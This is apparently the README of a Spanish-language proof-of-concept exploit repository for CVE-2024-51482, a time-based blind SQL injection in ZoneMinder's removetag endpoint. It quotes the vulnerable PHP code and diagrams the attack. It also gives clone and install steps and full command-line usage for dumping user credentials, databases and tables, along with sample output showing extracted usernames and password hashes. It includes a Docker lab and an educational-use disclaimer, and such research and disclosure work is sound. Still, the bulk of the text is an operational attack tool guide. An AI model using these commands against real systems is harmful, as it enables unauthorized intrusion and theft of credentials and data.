
PoC de inyección SQL basada en tiempo para CVE-2024-51482 en ZoneMinder, con laboratorio Docker reproducible y extracción automatizada de datos.
⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los cuales no tengas permiso por escrito es ilegal.
Este repositorio contiene un PoC de inyección SQL basada en tiempo dirigido a ZoneMinder.
La herramienta permite:
También incluye un laboratorio Docker completamente reproducible para pruebas seguras.
ZoneMinder es una aplicación gratuita y de código abierto para videovigilancia. La vulnerabilidad surge de una validación insuficiente de entrada en el endpoint removetag de ZoneMinder. La entrada proporcionada por el usuario se incorpora directamente en consultas SQL sin la adecuada sanitización o parametrización, permitiendo a los atacantes inyectar cargas útiles SQL basadas en booleanos maliciosas. El exploit aprovecha:
SLEEP(x - IF(condition, 0, x))
para inferir datos mediante el tiempo de respuesta.
Fragmento de código vulnerable completo del Aviso de Mantenedor de Github:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Atacante Aplicación Web ZoneMinder
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← sesión autenticada
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Consulta SQL booleana ejecutada
│ IF(condition, sin retardo, SLEEP)
│◄────────────────────────────────────────│
│ Respuesta retardada (oráculo de tiempo) │ ← condición inferida
│ │
│ Repetir solicitudes │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Diferencias de tiempo revelan caracteres │
│ │
│ Búsqueda binaria por carácter │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Datos extraídos (1 carácter a la vez) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Divulgación completa de la base de datos│
│ │
✓ Exfiltración completa de datos mediante SQLi ciega
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurar variables de entorno
docker compose up -d
Sin ningún flag, la herramienta se autenticará en el objetivo, comprobará su vulnerabilidad y, si es vulnerable, volcará las columnas ID, Username, Password, Name y Email de la tabla zm.Users (comando dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Solo comprueba si el objetivo es vulnerable.
python exploit.py -t http://target/zm -u <username> -p <password> check
Vuelca las columnas ID, Username, Password, Name y Email de la tabla zm.Users. Comando por defecto si no se especifica ninguno.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Lista todas las bases de datos.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Lista las tablas en una base de datos especificada.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Lista las columnas en una tabla especificada.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Vuelca todos los datos de una tabla especificada.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
También puedes especificar las columnas a volcar (por defecto todas):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
Si el archivo no existe, se creará. Si ya existe, los nuevos resultados se añadirán.
--outfile results.csv
| Flag | Descripción | Ejemplo |
|---|---|---|
--outfile | Guardar salida en un archivo CSV | --outfile results.csv |
--no-display | Deshabilitar salida en terminal | --no-display |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users es un atajo para volcar la tabla zm.Users.--no-check solo si estás seguro de que el objetivo es vulnerable.El docker-compose.yml incluido configura una instancia vulnerable de ZoneMinder.
cp .env.example .env # Configurar variables de entorno
docker compose up -d
Accede a la interfaz web en http://localhost:8080/ (o en tu puerto personalizado). Las credenciales por defecto son admin:admin. Luego puedes ejecutar el exploit contra esta instancia local para realizar pruebas.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] URL objetivo: http://localhost:8080/
[∗] Módulo: dump-table
[∗] La salida se guardará en: ./out.csv
[∗] Intentando iniciar sesión con autenticación de usuario/contraseña
🡲 Credenciales: admin:admin
[+] Autenticado exitosamente como usuario admin
[∗] Probando vulnerabilidad del objetivo...
[+] El objetivo parece ser vulnerable (el tiempo de respuesta indica una inyección exitosa).
[∗] Volcando contenido de la tabla zm.Users...
[+] Columnas encontradas: Username, Password
[∗] Obteniendo número de filas en la tabla...
[+] La tabla contiene 2 filas. Iniciando volcado...
[∗] Progreso: 5/5 | admin
[∗] Progreso: 60/60 | $2h$12$NHZs...
[+] Fila 1 recuperada: admin, $2h$12$NHZs...
[∗] Progreso: 4/4 | flag
[∗] Progreso: 60/60 | $2y$10$1Ei....
[+] Fila 2 recuperada: flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] Resultados escritos en ./out.csv
[+] Trabajo completo. ¡Adiós!
| Flag | Descripción | Ejemplo |
|---|
-t, --target | URL base del objetivo | -t http://localhost:8080 |
-u, --user | Nombre de usuario para autenticación | -u admin |
-p, --password | Contraseña para autenticación | -p admin |
--cookie | Usar una cookie ZMSESSID existente en lugar de iniciar sesión | --cookie abc123... |
| Comando | Descripción | Ejemplo |
|---|
check | Probar si el objetivo es vulnerable (SQLi basada en tiempo) | check |
dump-users | Volcar directamente la tabla zm.Users | dump-users |
list-db | Listar todas las bases de datos | list-db |
list-tables | Listar tablas de una base de datos | list-tables --db zm |
list-columns | Listar columnas de una tabla | list-columns --db zm --table Users |
dump-table | Volcar una tabla específica | dump-table --db zm --table Users |
| Flag | Descripción | Requerido | Ejemplo |
|---|
--db | Nombre de la base de datos | Sí (para ops de tabla/columna) | --db zm |
--table | Nombre de la tabla | Sí (para columna/volcado) | --table Users |
--columns | Lista separada por comas de columnas a volcar | Opcional | --columns Username,Password |
| Flag | Descripción | Por defecto | Ejemplo |
|---|
--threads | Número de hilos de extracción concurrentes | 5 | --threads 6 |
--delay | Retardo usado para SQLi basada en tiempo | 3 | --delay 2 |
--no-check | Omitir verificación de vulnerabilidad antes de la explotación | False | --no-check |
| Flag | Descripción | Por defecto | Ejemplo |
|---|
-v, --verbose | Habilitar registro de depuración | False | -v |
--log-file | Ruta al archivo de registro | logs/exploit.log | --log-file out.log |
--no-color | Deshabilitar salida coloreada | False | --no-color |